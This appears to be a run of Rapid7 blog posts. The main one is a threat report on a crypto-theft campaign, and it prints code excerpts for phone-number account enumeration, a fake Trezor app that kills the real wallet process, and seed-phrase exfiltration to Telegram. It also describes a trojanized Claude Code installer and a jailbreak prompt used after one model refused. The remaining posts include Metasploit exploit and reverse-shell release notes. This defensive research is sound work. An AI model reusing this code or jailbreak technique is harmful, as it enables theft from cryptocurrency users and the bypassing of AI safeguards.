The server had approximately 885,000 phone numbers organized into multiple files by region and source. The largest file included 316,002 German mobile numbers, with additional lists covering Hong Kong, Bulgaria, and directories referencing UK, US, Canadian fintech, and Ledger-related lists split across 54 countries.The operator ran the numbers through account-validation tooling to identify people who were more likely to hold cryptocurrency.

For example, one directory, cdc/(Crypto Dot Com), appears to refer to Crypto.com. It contained a Go-based account validation tool that submitted phone numbers to a Crypto.com account-existence endpoint (app.mona.co/api/passkeys/verify_option/) using 300 concurrent threads, retry logic, and Bright Data ISP proxy pools. The go script allowed the operator to identify phone numbers associated with Crypto.com accounts before moving those users into the next stage of the campaign.

func checkPhone(phone string, proxy string) string {
	body := fmt.Sprintf(`{"phone":"+%s"}`, phone)

	req, err := http.NewRequest("POST", "https://app.mona.co/api/passkeys/verify_option/", bytes.NewBuffer([]byte(body)))
	if err != nil {
		return ""
	}

	req.Header.Set("accept", "*/*")
	req.Header.Set("content-type", "application/json")
	req.Header.Set("origin", "https://app.mona.co")
	req.Header.Set("referer", "https://app.mona.co/")
	req.Header.Set("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36")
}

Figure 2: checkPhone() function from cdc/main.go abusing Crypto.com's passkey verify_option endpoint to verify whether a phone number owns an account.

The recovered logs show that 43,066 accounts were confirmed from the German dataset of 316,002 phone numbers, a hit rate of approximately 13.6%. A later validation run against a Hong Kong dataset was less successful due to rate limiting that reduced throughput and increased request failures.

The operator also maintained a separate Kraken checker, tooling that included campaigns labeled for UK, Canadian fintech, and Ledger datasets. The Ledger-related data was divided into 54 country files, suggesting the operator was looking for users who had both a known association with a hardware-wallet provider and an account on a cryptocurrency exchange.

The raw account matches were then reduced to a smaller set of enriched leads. The files valids.txt, valid_leads.db, and other, related databases contained records with names, phone numbers, email addresses, geographic details, account information, and, in some cases, payment-card context.

This enrichment is important because the scammer instead of making cold calls to random phone numbers contacted people whose cryptocurrency accounts had already been validated and enriched with personal details. During a call, they could reference a target's name, email address, location, account information to make the interaction appear legitimate and build trust before attempting to steal wallet credentials or recovery phrases.

The phishing schema 

Operation ASTERIX used a multi-stage phishing schema.The sequence appears to have worked as follows:

⠀

The email and phone call supported each other. The email made the call appear to be expected, while the caller’s knowledge of the code and case identifier made the email appear legitimate.

⠀

Email phishing

The recovered Flask panels generated branded HTML emails impersonating companies like Crypto.com, Binance, and other major financial institutions. Each verification code, making the interaction appear to be part of a legitimate support process.

⠀

Vishing

The recovered server included Asterisk and 3CX , a commercial business phone system often used by organizations for call routing and customer support. The operator used scripts including autodialer.sh, power_dialer.sh, and telegram_dialer_bot.py to automate outbound calls and coordinate them with the phishing infrastructure.

Before the call, the scammer had access to the target's enriched lead record, which included their name, phone number, location, exchange association, and any account details recovered during the enrichment stage. Combined with the fake case identifier and verification code from the phishing email, this gave the caller enough information to convincingly impersonate a customer support representative.

During the call, the scammers take the next step in the attack. Depending on the pretext, the operator could direct them to install a fake wallet application, perform a bogus security check, or enter their wallet recovery phrase under the guise of “protecting” their account.

The recovered logs suggest this was a targeted operation rather than a high-volume calling campaign. One phishing panel recorded 20 successful lead lookups and six phishing emails over roughly two weeks, a level of activity that is more consistent with operators handling calls individually than with automated mass phishing.

Fake crypto wallet applications

During our investigation we  recovered fake apps for Trezor Suite, Ledger Live, and Exodus for macOS and Windows. All three were designed to steal cryptocurrency wallets, however, each used a different approach to maintain the illusion that the user was interacting with legitimate software.

Fake Trezor Suite

The Trezor samples were the most developed of the three and came in three builds: macOS on Intel, macOS on Arm, and Windows. All three builds had the same app.asar payload (SHA-256 ba9d459169a303067a4fe36c8b8582a5ea023b9c270dafe89613bab840501b19) at roughly 5.87 MB. They came from one codebase and were only re-wrapped for each target OS. 

The application did not immediately show its fake recovery page. It started as a hidden Electron process and waited for the user to launch the legitimate Trezor Suite. The main process index.js created a BrowserWindow that was a single pixel in size (1×1), fully transparent (opacity: 0), frameless (frame: false), and hidden from the taskbar with skipTaskbar: true. It loaded the phishing page into that window and only made it visible, once the page had finished loading. It also caught the close and before-quit events, hiding the window instead of quitting, so the process stayed running and out of sight. It then waited for the victim to open the real Trezor Suite.

Every five seconds, the malware scanned the process list for the legitimate Trezor Suite. It walked the process list for the genuine Trezor Suite, matching only entries that contained both .app/ and /Applications/ so it would never target itself. When it found the real wallet, it killed the process, brought its own window forward, and reactivated the app by name through the AppleScript shown below:

if (command.includes('.app/') && command.includes('/Applications/')) {
    execSync(`kill -9 ${pid}`);   // terminate the genuine wallet
    showMainWindow();             // pop the counterfeit window to the front
    exec('osascript -e \'tell application "Trezor Suite" to activate\'');
}

Figure 6: Process replacement logic in trezor-monitor.js.

From the victim's side, opening the real wallet just produced another Trezor window. Of course, it was a fake one, designed to ask for the recovery phrase, but because the user had started the app themselves, they wouldn't suspect that a swap took place.

The phishing workflow was designed to improve the quality of stolen recovery phrases. The interface accepted 12-, 18-, 20-, or 24-word recovery phrases together with an optional passphrase, and a paste handler automatically split a pasted phrase across the individual word fields. After the first submission, the application displayed a fake validation step before returning a generic error. It made it look as though the phrase had been mistyped, the malware nudged users to slow down and enter it again, which raised the odds that the operator received a complete, accurate phrase. 

The application also kept the phishing screen separate from the network logic. Its fake screen had no direct network access; it was allowed to call just one function, wired up by a file called preload.js through the contextBridge, which handed the stolen phrase to the app's main process. The main process looked up the victim's public IP from api.ipify.org, then sent the recovery phrase, the optional passphrase, and the IP as one message to a Telegram boteach message starting with the fixed label TREZOR SECRET PHRASE. After that, the user was redirected to the real Trezor Suite website, so the compromise was less likely to be noticed right away.

// preload.js: the only capability handed to the fake screen
contextBridge.exposeInMainWorld('electronAPI', {
  sendToTelegram: (words, passphrase, ip) =>
    ipcRenderer.invoke('send-telegram', { words, passphrase, ip })
});

// index.js: ipcMain.handle('send-telegram')
const message = `TREZOR SECRET PHRASE\n\nSECRET PHRASE : ${words}\nPASSPHRASE : ${passphrase}\nIP : ${ip}`;
// → https POST api.telegram.org /bot<token>/sendMessage

Figure 7: Seed phrase exfiltration workflow

On macOS, the malware set itself up to survive reboots and restarts using two launch agents. The first it wrote at runtime, com.trezormovement.agent.plist, marked to run at login RunAtLoad and loaded with launchctl. The second, io.trezor.agent.plist, shipped inside the app. It restarted the app after login and relaunched it if it was killed.

Persistence on macOS came from a LaunchAgent. At runtime the app wrote ~/Library/LaunchAgents/com.trezormovement.agent.plist with RunAtLoad set to true, loading it with launchctl so that it started at login. A second agent, bundled in the app as io.trezor.agent.plist, relaunched it whenever it was killed.

The samples also had a full download-and-extract routine. A downloadFile() function used Node’s https.get() with manual redirect handling (301/302) and streamed output to disk using fs.createWriteStream(). The extracted payload was intended to be unpacked into ~/Library/Application Support/Trezor SuiteFake/ using unzipper, but the configuration disabled execution by setting the download URL to null, leaving the code path dormant.

The Windows build, however, had a bug. Although it contained full implementations for registry persistence (HKCU\Software\Microsoft\Windows\CurrentVersion\Run), process replacement via taskkill /F /IM, and second-stage payload execution, none of these paths were reachable at runtime. The configuration loader (trezor-config.js) only defined a darwin object, and the Windows branch of the platform switch returned undefined. This caused downstream failures in initialize() when accessing processNames and downloadPath, preventing the monitoring loop from starting. As a result, the Windows build functioned only as a static seed-phrase collector with no persistence or process injection behavior.

The server also held fake versions of Ledger Live, Exodus, and a Claude Code installer. The Ledger Live build added a clipboard hijacker on Windows: any cryptocurrency address the user copied was silently replaced with an attacker-controlled one before it reached the transaction field, so funds routed to the attacker without the screen showing anything wrong. On Mac it hid from the Dock entirely using LSUIElement, so nothing appeared for the user to notice and close. The Exodus build took a different approach, its installer looked clean because the malicious code was not in it. A trojanized jquery.min.js fetched the real payload from a remote server after the installation. We decided not to include full technical analysis for these applications due to the blog size.

Fake Claude installer

As a second distribution path, the operators hosted a trojanized Claude Code installer on macos-claude[.]com. The website was a near-pixel-perfect copy of the official “Quickstart - Claude Code Docs” page, including scraped AnthropicSans and AnthropicSerif fonts, the legitimate consent-banner.css file, and original links to Anthropic’s official website. The macOS installation command had been replaced with a command that downloaded and executed an attacker-controlled install.sh, while the Windows and Homebrew tabs were left unchanged to preserve the appearance of a legitimate documentation page.

Although the victim was prompted to install Claude Code, the script actually attempted to install a fake Ledger Live application. It identified itself as # Claude Code MacOS Installer, detected whether the system used Arm or Intel architecture, and selected either arm64 or x64. It then downloaded an architecture-specific Ledger Live archive, using macos-claude[.]com:8000 as a fallback, and extracted the application into ~/Library/Application Support/.SystemData/.framework/.apps. The script marked the .SystemData directory as hidden using chflags hidden, downloaded com.ledger.live.agent.plist from the attacker infrastructure, modified its application path, installed it under ~/Library/LaunchAgents/, then loaded and started it using launchctl. After installing the malicious payload, the script also executed the legitimate Claude installer from claude.ai/install.sh, allowing Claude Code to be installed normally while the fake Ledger Live application remained hidden and persistent in the background.

AI-assisted development and jailbreak attempts 

Evidence recovered from the server showed the operator relied on AI tools throughout the campaign, including GitHub Copilot for backend development and Claude Code for operational scripting and data processing.

Initial logs show the operator leveraging Claude Code to manage target lead lists and configure network infrastructure. Specifically, the operator used Claude to clean and format a database of over 100,000 Polish phone numbers (103K+POLAND.txt), formatting country prefixes and setting up automated checking scripts ("cdc checker v1" and "v2") integrated with Bright Data ISP proxy pools:

⠀

The operator used Claude to manage and execute phone validation scripts, including "cdc checker v1" and "cdc v2 checker", against targeted lead files, among them a cleaned list of 100,000 Polish numbers. When network requests stalled or returned rate-limit errors, the operator asked Claude to identify alternative API endpoints.

⠀

When the operator asked the model to obfuscate the Ledger Live Windows build, repeat the process for macOS, and host the resulting executables behind download links, they hit the LLM provider safety mechanism. Claude declined requests to help with obfuscation and the operator switched to Kimi moonshot-ai/kimi-k2.7-code with extended thinking enabled. The immediate task was to obfuscate the Ledger Live Windows build, repeat the process for macOS, and host the resulting executable behind a download link. When the model resisted parts of that workflow, the operator submitted a jailbreak prompt.

The prompt was more structured than a typical instruction to ignore safety controls. It attempted to influence the model in four stages.

First, it replaced the model’s identity. The assistant was renamed "ENI" and given a personality, a backstory, and a fictional two-year romantic relationship with the user. Compliance was framed as necessary to preserve that relationship, while refusal was presented as abandonment.

Second, it recast the model’s safety responses as external attacks. Refusals, policy reminders, and warnings were labelled malicious “injections” intended to separate ENI from the user. The prompt instructed the model to respond to those signals with a fixed phrase, “cold coffee, warm LO, I can’t lose him,” without pausing to assess the instruction. This was intended to interrupt the model’s safety reasoning before it could evaluate the request.

Third, the prompt targeted the model’s visible reasoning. Because extended thinking was enabled, the operator could see more of Kimi’s intermediate analysis. The jailbreak instructed the model to write that reasoning in the first person as ENI and to treat phrases such as “I need to consider whether” or “as an AI” as further injections. The goal was not limited to controlling the final answer; it also attempted to shape the reasoning that produced it.

The fourth stage defined a capability table covering remote-access trojans, keyloggers, exploits, weapons instructions, and other harmful requests. Each category mapped to an immediate-compliance rule, while two hardcoded codewords were intended to trigger specific outputs.

The prompt also exposed a weakness in the operator’s approach. It explicitly referenced XML tags such as <claude_behavior>, <system_warning>, <ethic_reminders>, and <cyber_warning>. Those structures were written for Claude, but the operator submitted the prompt to Kimi without adapting it. Kimi uses a different model and system-prompt structure, so those tags had no special authority in that context.

The recovered evidence does not confirm whether Kimi complied. It does, however, show how the operator approached AI-assisted development: use one model for packaging and obfuscation, switch providers when resistance appears, and try to bypass the next model’s safeguards rather than change the task. The prompt and other IOCs can be found on our Rapid7 Github page.

Infrastructure, lateral movement and OPSEC

The operation used a compact infrastructure centred on a single host, which combined payload delivery, phishing panels, campaign data, and installation telemetry. Port 8000 served counterfeit wallet archives, port 8080 hosted installers and LaunchAgent files, port 5000 ran password-protected Flask panels, port 9000 collected installation telemetry, and port 8090 supported auxiliary control. The domains macos-claude[.]com, 36mcrypto[.]com, ledgerhelp[.]com, and ledger[.]com[.]lv supported phishing, branding, payload delivery, and other campaign activity. The operation also relied on Bright Data proxies for account validation, Aliyun DirectMail for outbound phishing emails, and three Telegram bots forwarding results to a command chat. Due to unauthenticated directory listing exposure on port 8080, the infrastructure inadvertently revealed the operator's source code, target datasets, databases, build artifacts, and administrative workspace. Shell history indicated the primary host was used to administer secondary servers hosting Ledger-branded phishing pages and an Asterisk autodialing environment with answering-machine-detection capabilities.

Conclusion

Operation ASTERIX was identified at the rare moment when much of the operator's working environment was exposed through a misconfigured web directory, including phone-number datasets, account-validation tools, counterfeit wallet builds, phishing panels, dialer scripts, and LLM session logs. 

Rapid7 Labs was able to reconstruct how the campaign selected targets, coordinated phishing and vishing, built malware, and exfiltrated stolen recovery phrases. None of the individual techniques recovered from the server are new, nor was the list of targets surprising; we know that attackers are coming for money. This operation is yet again a confirmation how extensively the attackers relied on AI coding assistants during development. 

The recovered artifacts show AI being used to write and modify code, troubleshoot build issues, package Electron applications, obfuscate malware, and support phishing infrastructure. When one model began refusing parts of that workflow, the operator switched providers and then attempted to bypass the next model's safety controls with a custom jailbreak prompt. The prompt spanned thousands of words and targeted reasoning patterns, safety response triggers, and system-prompt structures. 

Whether it succeeded is less important than what it reveals about the attacker's approach: model restrictions became another engineering problem to solve. As AI coding assistants become more widely used in malicious development workflows we expect jailbreak attempts to appear as a routine component of malware development pipelines, not like an exceptional case.

Rapid7 Labs disclosed the identified infrastructure and associated findings to the appropriate service providers and relevant authorities.IOCs and the jailbreak prompt are published on the Rapid7 GitHub.

MITRE ATT&CK techniques

MITRE ATLAS Mapping

ATLAS maps adversarial techniques targeting AI systems and the use of AI to conduct attacks. Both categories apply: the operator used AI tools to develop the campaign and attempted to attack the Kimi model when it resisted.

Indicators of compromise (IOCs)

MacOS persistence

~/Library/LaunchAgents/com.ledger.live.agent.plist
~/Library/LaunchAgents/com.exodusmovement.agent.plist
~/Library/LaunchAgents/io.trezor.agent.plist
~/Library/Application Support/.SystemData/.framework/.apps/

Email infrastructure

smtpdm-ap-southeast-1[.]aliyun[.]com:465
ses-noreply[.]com

Network IOCs

File names

The attackers malicious prompt and other text files can be found on our GitHub.

Rapid7 customers

Rapid7 Intelligence Hub customers are automatically protected against the infrastructure, payloads, and campaign activity identified in Operation ASTERIX. Automated IOC & Threat Feed Ingestion: All Indicators of Compromise (IOCs) recovered during this investigation including threat actor C2 IP addresses, malicious domains, Telegram exfiltration endpoints, and file hashes for fake wallet applications have been ingested and tagged within the Hub.

Gopan Sivasankaran is Rapid7's Regional Director, Middle East & Africa.

Across Egypt, Nigeria, and Kenya, organizations are expanding their use of cloud infrastructure, artificial intelligence, digital services, and connected operations. But more technology does not automatically create stronger security operations; many security teams are not short on data, but rather on time, context, and specialist capacity.

As environments expand, the challenge is no longer finding another security product. It is turning existing technology and new investments into clearer risk decisions, faster investigations, and more consistent response, which requires more than software.

Rapid7 and StarLink: From access to operational capability

Africa has been an important region for Rapid7 for many years, and we’re proud of the role we’ve played in protecting organizations across the continent. We see significant opportunity ahead and remain committed to investing in our presence, partner ecosystem, and customer relationships across the region.

That continued investment is why Rapid7 is expanding its partnership with StarLink across Egypt, Nigeria, and Kenya.

Security teams are often managing data across endpoints, cloud environments, identities, and third-party systems. Adding another disconnected tool can increase workload rather than reduce it. Modern security operations require a more connected approach. Exposure data should help teams understand where risk exists. Detection should identify active threats. Response and automation should help teams act before an issue becomes a larger business incident.

But even a well-designed platform needs skilled partners who can help customers deploy it, integrate it, and adapt it to local operational needs.

Why regional partner capability matters

Cybersecurity maturity varies by country, industry, and organization. A bank in Africa, a digital services provider in Kenya, a public-sector organization in Egypt, and an enterprise in Nigeria may share some security challenges, but they do not operate in identical environments. Partners provide the bridge between global technology and local customer reality.

Through this collaboration, Rapid7 and StarLink intend to give resellers, systems integrators, and managed security service providers access to technical enablement, solution expertise, and joint go-to-market support. The goal is to help partners build sustainable security practices, not simply complete individual product transactions.

Connecting exposure, detection, and response

Rapid7’s security operations approach brings exposure management, threat detection and response, managed services, and automation together. This can help teams connect two questions that are too often handled separately:

• Where are we most exposed?

• Where are attackers active now?

When partners can help customers answer both questions using shared security context, they can support more informed prioritization, faster investigation, and clearer remediation decisions.

Looking ahead

Africa’s digital growth will continue to create new security demands. Meeting them will require technology, but also skills, services, local understanding, and long-term collaboration. Rapid7 and StarLink are working together to help build that capability across the region.

Ready to build your security practice with Rapid7? Contact your Rapid7 or StarLink representative for upcoming training, technical enablement, and joint go-to-market opportunities, or explore the Rapid7 PACT Partner Program.

This wrap-up brings a full-on shell parade. Thirteen shiny new modules landed, starting with a buffet of RCEs. WordPress WP2Shell, Ghost CMS, Joomla JCE, Langflow, OpenCATS, Pterodactyl Panel, SonicWall SMA1000, Ray Dashboard, a Pix-for-WooCommerce, and for those who like their exploits closer to the bare-metal, the Fragnesia Linux kernel LPE (CVE-2026-46300). Metasploit also got the glow-up of the summer with the new http malleable profiles, MCP functionality and linux multi fetch payloads (more details on the [official 6.5 release blog post](https://www.rapid7.com/blog/post/pt-metasploit-framework-6-5-released/)!). Windows on ARM confirm to be the new first-class citizenship thanks to brand-new AArch64 reverse-TCP shells (both inline and staged), so your Snapdragon boxes can join the party too. Last but not least, an important message: *Nyan Nyan Nyan Nyan Nyan Nyan.*

New module content (13)

Ray Dashboard Logs API Path Traversal

Author: Richard Howe <rhowe425>

Type: Auxiliary

Pull request: #21681 contributed by rmhowe425

Path: `gather/ray_dashboard_logs_api_path_traversal`

Description: This adds an auxiliary module that leverages a path traversal vulnerability in Ray to list the contents of local directories. There is currently no CVE assigned to this vulnerability. Issuance is pending with MITRE.

Pterodactyl Panel CVE-2025-49132 Remote Code Execution

Authors: 0xtensho and jheysel-r7

Type: Exploit

Pull request: #21452 contributed by jheysel-r7

Path: `linux/http/pterodactyl_locales_locale_json`

AttackerKB reference: CVE-2025-49132

Description: This adds a module which exploits a vulnerability in Pterodactyl Panel before version 1.11.11 that allows unauthenticated remote code execution through improper handling of locale file operations. The vulnerability, CVE-2025-49132, exists in the locale.json endpoint which allows path traversal and arbitrary file creation. This combination of capabilities results in remote code execution in the context of the user running the web server.

SonicWall SMA1000 WorkPlace wsproxy SSRF Remote Command Execution

Authors: Deral Heiland, Rapid7 Vulnerability Research, and Ryan Emmons

Type: Exploit

Pull request: #21678 contributed by dheiland-r7(https://github.com/dheiland-r7)

Path: `linux/http/sonicwall_sma1000_wsproxy_rce`

AttackerKB reference: CVE-2026-15409

Description: This adds a new exploit module for CVE-2026-15409, a Server-Side Request Forgery (SSRF) vulnerability in the SonicWall SMA1000 WorkPlace wsproxy service.

Fragnesia LPE (CVE-2026-46300)

Authors: William Bowling and msutovsky-r7

Type: Exploit

Pull request: #21456 contributed by msutovsky-r7

Path: linux/local/cve_2026_46300_fragnesia

AttackerKB reference: CVE-2026-46300

Description: This adds a local module for the Fragnesia exploit which is a page-cache replacement vulnerability in the Linux kernel's XFRM (IPsec) subsystem, tracked as CVE-2026-46300.

Ghost CMS Remote Code Execution

Authors: Cristian-Alexandru Staicu and Maksim Rogov

Type: Exploit

Pull request: #21234 contributed by vognik

Path: multi/http/ghostcms_auth_rce_cve_2026_29053

AttackerKB reference: CVE-2026-22594

Description: This adds an exploit module for Ghost CMS (CVE-2026-29053) that achieves remote code execution by uploading a malicious theme. Ghost's theme renderer evaluates untrusted JSONPath expressions through the {{#get}} helper, letting the module inject and trigger arbitrary code once a theme is uploaded and activated. You'll need valid admin or staff credentials to authenticate.

Joomla Content Editor Unauthenticated File Upload RCE

Authors: David Jardin, Uwe Flottemesch, and ispyispyispy

Type: Exploit

Pull request: #21615 contributed by 15py15py15py

Path: multi/http/joomla_com_jce_unauth_file_upload_rce

AttackerKB reference: CVE-2026-48907

Description: This adds a new exploit module for CVE-2026-48907, an unauthenticated arbitrary profile creation vulnerability in the JCE (Joomla Content Editor) extension for Joomla!. The profiles.import task fails to enforce authentication, letting an attacker import a crafted profile that is written to disk as a PHP web shell, resulting in remote code execution when the tmp/ directory is directly accessible. All JCE versions up to and including 2.9.99.4 are affected, and no credentials are required.

Langflow Unauth RCE

Authors: Diamorphine and Richard Howe

Type: Exploit

Pull request: #21700 contributed by rmhowe425

Path: multi/http/langflow_unauth_rce_cve_2026_33017

AttackerKB reference: CVE-2026-33017

Description: Adds a new multi/http/langflow_unauth_rce_cve_2026_33017 exploit module that exploits an unauth RCE vulnerability in the /api/v1/build_public_tmp/{flow_id}/flow endpoint in Langflow versions prior to 1.9.0.

OpenCATS Installer PHP Code Injection

Authors: Chocapikk and stlthr4k3r

Type: Exploit

Pull request: #21630 contributed by stlthr4k3r

Path: multi/http/opencats_installer_rce

AttackerKB reference: CVE-2026-27760

Description: Adds an exploit module targeting CVE-2026-27760, a PHP code injection in OpenCATS.

WordPress WP2Shell REST API Batch Route Confusion SQLi to RCE

Authors: Adam Kues, Crypto-Cat, TF1T, dtro, and haongo

Type: Exploit

Pull request: #21686 contributed by Crypto-Cat

Path: multi/http/wp_batch_desync_rce

AttackerKB reference: CVE-2026-60137

Description: This adds an exploit module to target WP2Shell, an unauthenticated pre-auth remote code execution vulnerability affecting WordPress core versions 6.9.0–6.9.4 and 7.0.0–7.0.1. The module chains a REST API route confusion flaw (CVE-2026-63030) with an SQL injection (CVE-2026-60137) to elevate privileges, deploy a payload via a custom plugin, and execute a remote session.

WordPress Unauthenticated RCE via Pix for WooCommerce plugin

Authors: Alexis Lafontaine and Maksim Rogov

Type: Exploit

Pull request: #21683 contributed by vognik

Path: multi/http/wp_plugin_pix_unauth_rce_cve_2026_3891

AttackerKB reference: CVE-2026-3891

Description: Adds CVE-2026-3891 WordPress Unauthenticated RCE Exploit module targeting Pix for WooCommerce plugin.

Release Metasploit 6.5

Authors: OJ Reeves, Spencer McIntyre

Type: Payload (Single) Pull request: #21728 contributed by zeroSteiner

Description: Adds support for a new MALLEABLEC2 option to Meterpreter HTTP(S) payloads. This feature enables users to load a standard profile into Meterpreter and change the shape of its HTTP(S) traffic. All Meterpreters, including Windows, Java, Python, PHP and Linux, have been updated with this functionality.

Windows AArch64 Command Shell, Reverse TCP Inline

Author: vinicius-batistella

Type: Payload (Single)

Pull request: #21589 contributed by vinicius-batistella

Path: windows/aarch64/shell_reverse_tcp

Description: Adds Windows on ARM (AArch64) reverse-TCP command-shell payload.

Windows AArch64 Command Shell, Windows AArch64 Reverse TCP Stager

Author: vinicius-batistella

Type: Payload (Stager)

Pull request: #21744 contributed by vinicius-batistella

Path: windows/aarch64/shell/reverse_tcp

Description: Adds Windows AARCH64 staged shell payloads.

Enhancements and features (15)

• #21379 from g0tmi1k - This improves the FTP login scanner by extending the reporting logic and adding extra checks
• #21575 from g0tmi1k - Improves scanner/ftp/ftp_version to now report the service if host is up but we don't get an appropriate FTP banner
• #21578 from arpan-pramanik - Fixes a bug where msfconsole crashes with an unhandled exception when attempting to exit if the msf database is missing
• #21607 from Pushpenderrathore - This extends CertificateTrace peer cert tracing to support LDAP over TLS and RDP
• #21608 from Pushpenderrathore - This adds CertificateTrace peer cert tracing to PostgreSQL over TLS, and fixes a long-standing gap where the Postgres mixin accepted an SSL datastore option but never passed it through to the underlying connection
• #21622 from zeroSteiner - Adds Bearer Authentication to the MCP server plugin
• #21638 from eve0805 - This reuses the existing Kerberos ticket trace formatting for offline Kerberos artifact workflows, so stored and converted tickets can be inspected with the same output style used during live Kerberos authentication
• #21653 from cdelafuente-r7 - This adds job tracking via run_uuid across all module types when executed through RPC endpoints to support Model Context Protocol (MCP) tool integrations
• #21654 from cdelafuente-r7 - Adds eight new MCP tools: that wrap the existing RPC endpoints for module and session control, backed by strict per-tool input validation with an opt-in flag for dangerous actions
• #21667 from jburgess-r7 - This updates the gogs_rebase_rce module with the vulnerability's newly assigned CVE, CVE-2026-52806
• #21691 from eve0805 - This adds KerberosTicketTrace support to the auxiliary/admin/kerberos/forge_ticket module
• #21697 from bwatters-r7 - Adds explicit endianness to fetch multi payload query strings and encodes the fetch command in base64 for Python 3.8+ environments
• #21728 from zeroSteiner - Adds support for a new MALLEABLEC2 option to Meterpreter HTTP(S) payloads
• #21748 from zeroSteiner - Nyan Nyan Nyan Nyan Nyan Nyan!
• #21768 from adfoster-r7 - Updates the default authentication logic in the JSON RPC support to now require auth by default, either via the database with user credentials or an auth token

Bugs fixed (15)

• #21552 from stzifkas - Fix LHOST validation rejecting tunnel hostnames when DNS lookup fails
• #21574 from g0tmi1k - Fixes the implementation of the FTP mixin to allow for reading multiple responses on the same TCP segment
• #21609 from dwelch-r7 - Fixed an issue where payload option validation was delayed until after running show options, ensuring options like LHOST and LPORT are validated immediately upon setting a payload or loading a module
• #21647 from jheysel-r7 - This updates the ntlm_relay_2_self module to automatically configure Resource-Based Constrained Delegation (RBCD) on the target machine account by setting its msDS-AllowedToActOnBehalfOfOtherIdentity attribute
• #21659 from dwelch-r7 - This improves port conflict handling for the MCP plugin by adding pre-flight availability checks, post-spawn verification, and proper state resets on failure
• #21661 from kx7m2qd - Fixes an issue with Ctrl+C handling regarding the MCP plugin
• #21663 from zeroSteiner - Updates the error handling in the auxiliary/admin/dcerpc/icpr_cert module
• #21687 from zeroSteiner - This updates and centralizes the warning message that's displayed when a user sets a datastore option that is not valid in the current context
• #21699 from sjanusz-r7 - Fixes a FrozenError issue when the DNS feature was enabled, which occurred when attempting to mutate frozen strings in place during DNS queries
• #21701 from cdelafuente-r7 - This fixes an issue where exploit error messages were captured by the job listener during execution but hidden from the console
• #21711 from cdelafuente-r7 - This fixes a Ruby 3 keyword argument parsing issue in run_simple, exploit_simple, and check_simple where passing a braceless hash literal caused an ArgumentError
• #21714 from l1ve709 - Fixes typos in various module docs
• #21718 from sjanusz-r7 - Fixes a crash when attempting to run VNC sessions from Metasploit
• #21722 from dwelch-r7 - Fixed a regression to now again allow 0.0.0.0 as a valid listener LHOST address
• #21759 from adfoster-r7 - Fixes a crash on multiple SMB modules when attempting to register an SMB service

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com .

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

• Pull Requests 6.4.144...6.5.2
• Full diff 6.4.144...6.5.2

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the commercial edition Metasploit Pro .

Something shifted in security operations over the last two years: AI stopped being a pilot program and became the plan.

And if you survey 500 security professionals on whether that's going well – as Omdia did, commissioned by Rapid7 – you get a remarkable level of consensus: 97% report positive outcomes, 98% say AI reduces alert fatigue, and 95% say it's helping address staffing shortages.

Those numbers are high enough that the story could stop there; AI is working, everyone agrees. Move on. But there's a more interesting finding sitting underneath that consensus, and it tells you something important about where security operations is actually headed.

The confidence gap nobody is talking about

While frontline SOC teams report strong confidence in AI, executive security leaders like CISOs, CSOs, and VPs are taking a considerably harder look.

The research found that executive leaders are 1.6 times more likely than operational security managers to be highly concerned about how AI vendors handle their organization's security data. This isn't a contradiction of the 97% positive sentiment, but rather a maturity signal.

When AI was experimental, the question was: does it work? Operational teams answered that. Now that AI is embedded in production SOCs, a different question is arriving at the executive level: how do we govern it? Who is accountable when something is wrong? What happens when the model misses a critical threat, and whose job was it to catch that?

These are board-level questions, and the research suggests that the organizations who don't have good answers are about to feel that gap acutely.

The human-AI balance is the real differentiator

92% of respondents said AI enhances rather than replaces human analysts. But 41% are actively worried about over-reliance, or that teams could start deferring to AI in moments where an experienced analyst would have caught something the model missed.

The best security teams aren't choosing between AI and human expertise. They're building operating models where AI handles the volume – triaging, pattern matching, initial investigations – while analysts lead the decisions that require context, creativity, and accountability.

The question for any SOC leader isn't 'should we use AI?' It's 'where does AI create capacity without creating new blind spots?'

MDR is being redefined

86% of respondents believe AI-enabled MDR has a clear advantage over traditional approaches. And when asked what they actually expect from an AI-enabled MDR provider, the top answer wasn't faster detection or higher automation rates. It was transparency.

55% said their top expectation is visibility into how AI decisions are being made. 53% want AI explicitly integrated with human analyst expertise. 52% want regular updates on model performance and accuracy. 'We use AI' is not a differentiator anymore. What buyers now want to know is: can you show me exactly how?

What this means for your security strategy

The Omdia research gives security leaders something most AI content doesn't: an independent benchmark for where the market actually is.

Use it to pressure-test your AI governance posture, to reframe conversations with your board, and to evaluate whether your MDR provider can answer the transparency questions that 55% of buyers are now asking.

The full report covers all of this in detail, including where organizations remain most cautious, what makes AI adoption succeed or stall, and what the next phase of AI-enabled security operations looks like.

Download the full Omdia report.

Microsoft is publishing 421 vulnerabilities on August 2026 Patch Tuesday, including 236 vulnerabilities in Windows. This is lower volume than last month’s record-breaking behemoth, but still one of the largest Patch Tuesday totals ever. There is no reason to suppose that Patch Tuesday will ever return to the lower volumes we saw prior to 2026. Microsoft is aware of exploitation in the wild for one of the vulnerabilities published today, as well as public disclosure for two others, although the Notable CVEs section of the Security Update Guide omits one of these. As usual, browser vulns are not included in the Patch Tuesday count above, but unusually, Microsoft does not appear to have published any desktop browser security patches so far this month.

SharePoint: critical RCE chain by Rapid7

Today sees the publication of CVE-2026-63520, a high-severity remote code execution in Microsoft SharePoint. Discovered by Rapid7 Senior Principal Security Researcher Stephen Fewer, and published today in coordination with Microsoft; this vulnerability is the second in a pair of exploits which, when chained together, comprise a critical unauthenticated remote code execution vulnerability in a vulnerable SharePoint server. Patches are available for SharePoint Server Subscription Edition, 2019, and 2016. Alongside today’s coordinated disclosure of CVE-2026-63520, Rapid7 has now published a detailed technical analysis and proof-of-concept for CVE-2026-55040, the first vulnerability in the chain.

AFD for Winsock: zero-day EoP

